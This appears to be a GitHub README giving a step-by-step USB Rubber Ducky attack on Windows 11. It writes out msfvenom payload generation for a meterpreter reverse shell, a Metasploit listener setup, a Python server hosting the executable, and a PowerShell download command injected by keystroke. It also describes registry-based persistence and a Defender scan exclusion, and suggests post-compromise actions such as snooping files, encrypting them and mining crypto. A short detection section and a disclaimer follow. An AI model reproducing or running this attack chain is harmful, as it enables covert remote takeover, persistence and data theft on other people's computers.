Windows 11 Ducky PWN

*** Educational Purposes Only ***

Description

For this project I utilized a USB Rubber Ducky from Hak5 and the Kali Linux tools 'msfvenom', 'msfconsole', and 'meterpreter'. Through these tools I deployed a reverse shell, esatblished persistence, and cleaned up my suspicous activity. For my attacking machine I used Kali Linux and my victim machine Windows 11 (with all default security enabled). This attack is able to bypass all Windows 11 default security features and maintain undetected persistence through the use of modifying the Default User's Windows Registers.

Video Demo

Walkthrough

Requirements

• Windows 11 machine or virtual machine
• Kali Linux machine or virtual machine
• USB Rubber Ducky (any version)
• Interent Connection
• NAT Network if using VM's (Need communication between VMS)

Preparing Kali Machine

Generate Malicous Executeable (Reverse Shell)

• Use 'msfvenom' to generate our malicous executable

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > /home/x/Desktop/nice3.exe

• LHOST is the IP adderess of our attacking machine that will act as the server to connect back to replace x.x.x.x with you machines IP
• For /home/x/Desktop/nice3.exe replace x with your Kali Linux username eg /home/Meeps-Underflow/Desktop/nice3.exe
• nice3.exe is the name of our reverse shell executable

Set Up Listener

• Open Terminal and use 'msfconsole' to start a Metasploit CLI

msfconsole

• Start a exploit multi handler

use exploit/multi/handler

• Pass parameters to our listener
• Replace LHOST x.x.x.x with the same IP you used to genrate the payload eg your Kali Machine IP

set payload windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 4444
set ExitOnSession false

• Start our listener

exploit -j

Set Up HTTP Server

• On another Terminal we will host a HTTP server on our Kali Machine containing nice3.exe to be downlaoded
• We will use python3 to create this server on port 80
• Make sure to 'cd' into the directory containing nice3.exe, for me it will be in Desktop

cd Desktop/

• Start HTTP server

python3 -m http.server 80

Preparing USB Rubber Ducky

Download Repository

git clone https://github.com/Meeps-Underflow/Win11_Ducky_PWN.git

• Verify download should see all contents of my repository on your machine eg win11_ducky_pwn.txt

Convert Ducky to Payload

• Visit Hak5 Payload Studio follow the introduction and when prompted choose USB Rubber Ducky as your device
• Click File -> Open/Import -> Upload File -> Locate your win11_ducky_pwn.txt file -> Upload
• Take a moment to read over code to undersatnd what is happening
• Change line 63 x.x.x.x to HTTP server's IP

STRING powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://x.x.x.x/nice3.exe', 'C:\Users\Default\AppData\Roaming\Microsoft\Windows\nice3.exe')"

• Click Generate Payload
• Click Download ** Don't change name of inject.bin **

Load Payload Into USB Rubber Ducky

• Plug in your USB Rubber Ducky make sure it is not in attack mode
• Open 'Ducky'
• Move inject.bin from 'Downloads' into 'Ducky'

• Safely unmount 'Ducky'

Attack

Boot Up Windows 11

• Start up your fresh Windows 11 Machine
• Ensure all default security features in 'Windows Security' are enabled

Deploying the Duck

• Now that yor Windows Machine is up and running and you have confirmed all the secuirty features you wish to confirm its time to deploy the duck
• Plug in your USB Rubber Ducky into your Windows 11 Machine and sit back and watch
• After execution is complete go back to your Kali Machine and go to the Terminal that has the msf6 session
• You should see that we now have a successful reverse TCP connection with our victim

• In order to interact with the session run

sessions -i n

• Where n is the session id
• Start a windows shell

shell

• Run a simple windows cmd command to confirm exepected output 'ipconfig'

• Now that we clearly have a reverse shell that is working on the victims machine it is up to you the attacker to do whatever you wish escalate privledges,snoop files, encrypt files, mine crypto...
• You can do this within a meterpreter shell or a windows shell
• After confirming reverse shell we can terminate our http server by going back to the Terminal and inputing Ctrl + c

Test Persestence

• In order to test persestence we will restart our windows VM and see if our listener on our Kali Machine will get another session when the Windows Machine Boots Back up

• After the machine restarts go back to our msf6 session and wait for a new session to appear

• As you can see a new session was created from the machine we previously exploited verifying that our persestence works
• As long as thr Malware remains undetected we will always have a backdoor into the machine so longa s our listener is running and the victim in connected to the internet

Detection

• Lets now test to see if Microsoft Defender quick scan can detect our malware

Quick Scan 1

• First we will run quick scan

• As you can see nothing was found but it rasied an exception saying how we are excluding the C drive from scans

Quick Scan 2

• Remove C Drive Exculsion

• Restart VM or Run quick Scan again both should catch and remove Malware

• As seen above after removing the exclusion on the C drive the Malware was detected

• Taking action will remove the Malware and terminate our current session

• Looking back at our meterpreter shell we will see the sessions has been killed as well as persistence

Netstat

• Assume we didnt remove our exclusion and the Malware was actively running with a TCP connection
• Netstat checks for unusual or unauthorized network connections.

netstat -ano

• As seen above we can find a suspicous TCP connection with an unknown ip adderess and a suspicous port with the associate PID

RegShot

• We can use regshot to take a snapshot of our registries before the malware was executed and then another after to compare with and see any differneces

• It takes a bit of reading but eventually you will come across the suspicous registry edit where now we can manually remove the malware and fix our registry

Disclaimer

This project is intended for educational purposes only. Do not use these techniques on systems you do not own or have explicit permission to test.